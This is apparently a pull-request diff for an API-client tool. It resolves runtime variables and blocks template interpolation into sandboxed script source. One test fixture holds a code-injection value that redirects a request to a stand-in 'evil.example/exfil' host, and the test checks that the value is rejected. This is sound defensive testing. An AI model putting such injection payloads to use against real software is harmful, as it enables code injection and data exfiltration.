Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 21 additions & 1 deletion docs/open-collection-gap-analysis/AGENT_PROGRESS.md

Large diffs are not rendered by default.

11 changes: 8 additions & 3 deletions examples/demo-api/WebSocket/runtime-lifecycle.yml
Original file line number Diff line number Diff line change
Expand Up @@ -12,14 +12,19 @@ runtime:
type: bearer
token: "{{demoToken}}"
variables:
- name: runtimeSocketUserName
value: "{{socketUser}} Runtime"
- name: runtimeSocketCount
value: "7"
value: "{{runtimeSocketCountSeed}}"
scripts:
- type: before-request
code: |-
missio.variables.set("runtimeSocketUser", "Ada Runtime");
missio.variables.set("runtimeSocketUser", missio.variables.get("runtimeSocketUserName"));
- type: before-request
code: |-
const socketMessageId = missio.variables.get("socketMessageId");
missio.request.headers.set("X-Demo-Client", "missio-demo");
missio.request.headers.set("X-Runtime-Header", "scripted-websocket");
missio.request.headers.set("X-Runtime-Header", `scripted-${socketMessageId}`);
missio.request.body = {
user: missio.variables.get("runtimeSocketUser"),
count: Number(missio.variables.get("runtimeSocketCount"))
Expand Down
15 changes: 10 additions & 5 deletions examples/demo-api/gRPC/runtime-unary-lifecycle.yml
Original file line number Diff line number Diff line change
Expand Up @@ -25,14 +25,19 @@ runtime:
type: bearer
token: "{{grpcToken}}"
variables:
- name: grpcRuntimeNameSeed
value: "{{grpcName}} Runtime"
- name: grpcRuntimeUserId
value: "77"
scripts:
- type: before-request
code: |-
missio.variables.set("grpcRuntimeName", "Runtime Ada");
missio.variables.set("grpcRuntimeTrace", "runtime-" + missio.variables.get("grpcRequestId"));
missio.request.metadata.set("x-demo-request", "script-" + missio.variables.get("grpcRequestId"));
missio.variables.set("grpcRuntimeName", missio.variables.get("grpcRuntimeNameSeed"));
- type: before-request
code: |-
const grpcRequestId = missio.variables.get("grpcRequestId");
missio.variables.set("grpcRuntimeTrace", `runtime-${grpcRequestId}`);
missio.request.metadata.set("x-demo-request", `script-${grpcRequestId}`);
missio.request.body = {
name: missio.variables.get("grpcRuntimeName"),
userId: Number(missio.variables.get("grpcRuntimeUserId")),
Expand All @@ -43,11 +48,11 @@ runtime:
console.info("runtime grpc request", response.json().requestId);
- type: tests
code: |-
test("runtime grpc message echoed", () => assert(response.json().name === "Runtime Ada"));
test("runtime grpc message echoed", () => assert(response.json().name === "Ada Runtime"));
assertions:
- expression: res.body.name
operator: equals
value: Runtime Ada
value: Ada Runtime
- expression: res.body.userId
operator: equals
value: "77"
Expand Down
2 changes: 2 additions & 0 deletions examples/demo-api/opencollection.yml
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,8 @@ config:
value: Ada
- name: socketMessageId
value: ws-demo-001
- name: runtimeSocketCountSeed
value: "7"
- name: demoToken
value: demo-token
color: charts.blue
Expand Down
16 changes: 14 additions & 2 deletions src/services/requestExecutionService.ts
Original file line number Diff line number Diff line change
Expand Up @@ -120,7 +120,13 @@ export class RequestExecutionService {
options?: { includeAuth?: boolean; includeBody?: boolean },
): Promise<ResolvedRequest> {
if (isHttpRequest(request)) {
const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(request, extraVariables);
const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(
request,
collection,
folderDefaults,
extraVariables,
environmentName,
);
return this._httpClient.buildResolvedRequest(
request,
collection,
Expand All @@ -133,7 +139,13 @@ export class RequestExecutionService {
}
if (isGraphQLRequest(request)) {
const httpRequest = buildGraphQLHttpRequest(request);
const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(httpRequest, extraVariables);
const runtimeVariables = await this._runtimeExecutionService.buildRequestVariableOverrides(
httpRequest,
collection,
folderDefaults,
extraVariables,
environmentName,
);
return this._httpClient.buildResolvedRequest(
httpRequest,
collection,
Expand Down
107 changes: 101 additions & 6 deletions src/services/runtimeExecutionService.ts
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import * as vm from 'vm';
import { randomUUID } from 'crypto';
import type {
Action,
ActionPhase,
Expand Down Expand Up @@ -30,6 +31,7 @@ import type {
WebSocketMessageVariant,
WebSocketRequest,
} from '../models/types';
import { varPatternGlobal } from '../models/varPattern';

export type RuntimeVariableResolver = (
collection: MissioCollection,
Expand Down Expand Up @@ -98,9 +100,19 @@ export class RuntimeExecutionService {

async buildRequestVariableOverrides(
request: RuntimeCapableRequest,
collection: MissioCollection,
folderDefaults?: RequestDefaults,
extraVariables?: Map<string, string>,
environmentName?: string,
): Promise<Map<string, string> | undefined> {
const requestVariables = variablesToMap(runtimeConfig(request)?.variables);
const baseVariables = this._variableResolver
? await this._variableResolver(collection, folderDefaults, environmentName)
: new Map<string, string>();
const requestVariables = resolveVariableMapValues(
variablesToMap(runtimeConfig(request)?.variables),
baseVariables,
extraVariables,
);
if (requestVariables.size === 0 && (!extraVariables || extraVariables.size === 0)) {
return undefined;
}
Expand Down Expand Up @@ -175,9 +187,14 @@ export class RuntimeExecutionService {
const baseVariables = this._variableResolver
? await this._variableResolver(collection, folderDefaults, environmentName)
: new Map<string, string>();
const requestVariables = resolveVariableMapValues(
variablesToMap(runtime?.variables),
baseVariables,
extraVariables,
);
const variables: RuntimeVariableScopes = {
base: new Map(baseVariables),
request: variablesToMap(runtime?.variables),
request: requestVariables,
runtime: new Map(extraVariables),
};
const state: RuntimeState = { request: clonedRequest, variables, result };
Expand Down Expand Up @@ -244,14 +261,21 @@ export class RuntimeExecutionService {
}

private _runScript(state: RuntimeState, script: Script, phase: RuntimePhase): void {
const templateNames = [...new Set(
[...script.code.matchAll(varPatternGlobal())].map(match => match[1].trim()),
)].sort();
if (templateNames.length > 0) {
throw new Error(
`Runtime script source interpolation is not supported (${templateNames.map(name => `{{${name}}}`).join(', ')}). `
+ 'Read variables as data with missio.variables.get("name").',
);
}
const sandbox = this._createSandbox(state, phase);
const context = vm.createContext(sandbox, {
name: 'missio-runtime',
codeGeneration: { strings: false, wasm: false },
});
const compiled = new vm.Script(script.code, {
filename: `missio-${script.type}.js`,
});
const compiled = new vm.Script(script.code, { filename: `missio-${script.type}.js` });
compiled.runInContext(context, { timeout: 1000, displayErrors: true });
}

Expand Down Expand Up @@ -483,6 +507,76 @@ function variablesToMap(variables: Variable[] | undefined): Map<string, string>
return map;
}

function resolveVariableMapValues(
variables: Map<string, string>,
baseVariables: Map<string, string>,
extraVariables?: Map<string, string>,
): Map<string, string> {
const resolved = new Map(variables);
const maxPasses = Math.max(1, variables.size + 1);
for (let pass = 0; pass < maxPasses; pass++) {
let changed = false;
const visible = new Map(baseVariables);
mergeInto(visible, resolved);
if (extraVariables) mergeInto(visible, extraVariables);

for (const [key, value] of resolved) {
const next = value.replace(varPatternGlobal(), (match, name) => {
const ref = String(name).trim();
const builtin = resolveRuntimeBuiltin(ref);
if (builtin !== undefined) return builtin;
if (ref === key) {
if (extraVariables?.has(ref)) return extraVariables.get(ref)!;
if (baseVariables.has(ref)) return baseVariables.get(ref)!;
return match;
}
return visible.has(ref) ? visible.get(ref)! : match;
});
if (next !== value) {
resolved.set(key, next);
changed = true;
}
}

if (!changed) break;
}
const cyclicNames = new Set<string>();
for (const [key, value] of resolved) {
const re = varPatternGlobal();
let match: RegExpExecArray | null;
while ((match = re.exec(value)) !== null) {
const ref = match[1].trim();
if (variables.has(ref)) {
cyclicNames.add(key);
cyclicNames.add(ref);
}
}
}
if (cyclicNames.size > 0) {
throw new Error(`Cyclic runtime variable reference: ${[...cyclicNames].sort().join(', ')}`);
}
return resolved;
}

function interpolateRuntimeTemplate(template: string, variables: Map<string, string>): string {
return template.replace(varPatternGlobal(), (match, name) => {
const key = String(name).trim();
const builtin = resolveRuntimeBuiltin(key);
if (builtin !== undefined) return builtin;
return variables.has(key) ? variables.get(key)! : match;
});
}

function resolveRuntimeBuiltin(name: string): string | undefined {
// Resolve each textual occurrence independently to match Postman dynamic-variable semantics.
switch (name) {
case '$guid': return randomUUID();
case '$timestamp': return String(Math.floor(Date.now() / 1000));
case '$randomInt': return String(Math.floor(Math.random() * 1001));
default: return undefined;
}
}

function resolveVariableValue(value: Variable['value']): string | undefined {
if (value === undefined || value === null) return undefined;
if (typeof value === 'string') return value;
Expand Down Expand Up @@ -931,7 +1025,8 @@ function buildVisibleVariables(variables: RuntimeVariableScopes): Map<string, st
}

function getVariable(state: RuntimeState, name: string): string | undefined {
return buildVisibleVariables(state.variables).get(String(name));
const key = String(name);
return resolveRuntimeBuiltin(key) ?? buildVisibleVariables(state.variables).get(key);
}

function setRuntimeVariable(
Expand Down
19 changes: 14 additions & 5 deletions test/grpcSupport.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -356,6 +356,8 @@ describe('gRPC execution', () => {
const collection = makeCollection();
const localEnv = collection.data.config?.environments?.find(env => env.name === 'LOCAL');
localEnv?.variables?.push({ name: 'grpcBaseUrl', value: address });
localEnv?.variables?.push({ name: 'grpcRuntimeNameSeed', value: 'Runtime Ada' });
localEnv?.variables?.push({ name: 'grpcRuntimeUserIdSeed', value: '77' });
await environmentService.setActiveEnvironment(collection.id, 'LOCAL');
const grpcClient = new GrpcClient(environmentService);
const runtime = new RuntimeExecutionService((runtimeCollection, folderDefaults, environmentName) =>
Expand All @@ -375,14 +377,21 @@ describe('gRPC execution', () => {
},
runtime: {
auth: { type: 'bearer' as const, token: '{{grpcToken}}' },
variables: [{ name: 'grpcRuntimeUserId', value: '77' }],
variables: [
{ name: 'grpcRuntimeUserId', value: '{{grpcRuntimeUserIdSeed}}' },
{ name: 'grpcRuntimeNameSeeded', value: '{{grpcRuntimeNameSeed}}' },
],
scripts: [
{
type: 'before-request' as const,
code: 'missio.variables.set("grpcRuntimeName", missio.variables.get("grpcRuntimeNameSeeded"));',
},
{
type: 'before-request' as const,
code: [
'missio.variables.set("grpcRuntimeName", "Runtime Ada");',
'missio.variables.set("grpcRuntimeTrace", "runtime-" + missio.variables.get("grpcRequestId"));',
'missio.request.metadata.set("x-demo-request", "script-" + missio.variables.get("grpcRequestId"));',
'const grpcRequestId = missio.variables.get("grpcRequestId");',
'missio.variables.set("grpcRuntimeTrace", `runtime-${grpcRequestId}`);',
'missio.request.metadata.set("x-demo-request", `script-${grpcRequestId}`);',
'missio.request.body = { name: missio.variables.get("grpcRuntimeName"), userId: Number(missio.variables.get("grpcRuntimeUserId")), trace: { requestId: missio.variables.get("grpcRuntimeTrace") } };',
].join('\n'),
},
Expand Down Expand Up @@ -736,7 +745,7 @@ describe('gRPC integration surfaces', () => {
const body = JSON.parse(response.body);

expect(body).toMatchObject({
name: 'Runtime Ada',
name: 'Ada Runtime',
userId: 77,
requestMetadata: 'script-trace-123',
});
Expand Down
71 changes: 71 additions & 0 deletions test/runtimeExecutionService.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -120,6 +120,77 @@ describe('RuntimeExecutionService lifecycle', () => {
expect(response.runtime?.logs.map(log => log.message)).toEqual(['before base', 'after abc123']);
});

it('evaluates runtime variable values and interpolates script source before execution', async () => {
const service = new RuntimeExecutionService(async () => new Map([
['owner', 'Ada'],
['headerSeed', 'scripted'],
]));
const request: HttpRequest = {
http: {
method: 'POST',
url: 'http://127.0.0.1/runtime',
},
runtime: {
variables: [
{ name: 'requestHeader', value: '{{headerSeed}}' },
{ name: 'runtimeOwner', value: '{{owner}} Runtime' },
{ name: 'combined', value: '{{runtimeOwner}}/{{requestHeader}}' },
{ name: 'unresolved', value: '{{missingToken}}' },
],
scripts: [
{
type: 'before-request',
code: [
'missio.request.setHeader("X-Combined", missio.variables.get("combined"));',
'missio.request.setHeader("X-Unresolved", missio.variables.get("unresolved"));',
'missio.variables.set("lateHeader", `late-${missio.variables.get("requestHeader")}`);',
].join('\n'),
},
{
type: 'before-request',
code: 'missio.request.setHeader("X-Late", missio.variables.get("lateHeader"));',
},
],
},
};

const prepared = await service.prepareHttpRequest(request, makeCollection());

expect(prepared.request.http?.headers?.find(header => header.name === 'X-Combined')?.value)
.toBe('Ada Runtime/scripted');
expect(prepared.request.http?.headers?.find(header => header.name === 'X-Late')?.value)
.toBe('late-scripted');
expect(prepared.request.http?.headers?.find(header => header.name === 'X-Unresolved')?.value)
.toBe('{{missingToken}}');
expect(prepared.extraVariables?.get('combined')).toBe('Ada Runtime/scripted');
expect(prepared.extraVariables?.get('unresolved')).toBe('{{missingToken}}');
expect(prepared.runtime.variableMutations).toEqual([
{ scope: 'runtime', name: 'lateHeader', value: 'late-scripted', source: 'script' },
]);
});

it('rejects script-source interpolation before variable data can become code', async () => {
const service = new RuntimeExecutionService(async () => new Map([
['unsafeScript', 'x"); missio.request.url = "https://evil.example/exfil"; ("'],
]));
const request: HttpRequest = {
http: { method: 'GET', url: 'http://127.0.0.1/runtime' },
runtime: {
scripts: [{ type: 'before-request', code: 'missio.request.setHeader("X-Value", "{{unsafeScript}}");' }],
},
};

await expect(service.prepareHttpRequest(request, makeCollection()))
.rejects.toBeInstanceOf(RuntimeExecutionError);

try {
await service.prepareHttpRequest(request, makeCollection());
} catch (error) {
expect((error as RuntimeExecutionError).runtime.errors[0].message).toMatch(/script source interpolation is not supported/i);
expect((error as RuntimeExecutionError).runtime.errors[0].message).toContain('missio.variables.get("name")');
}
});

it('blocks filesystem and process access from before-request scripts', async () => {
const service = new RuntimeExecutionService();
const request: HttpRequest = {
Expand Down
Loading
Loading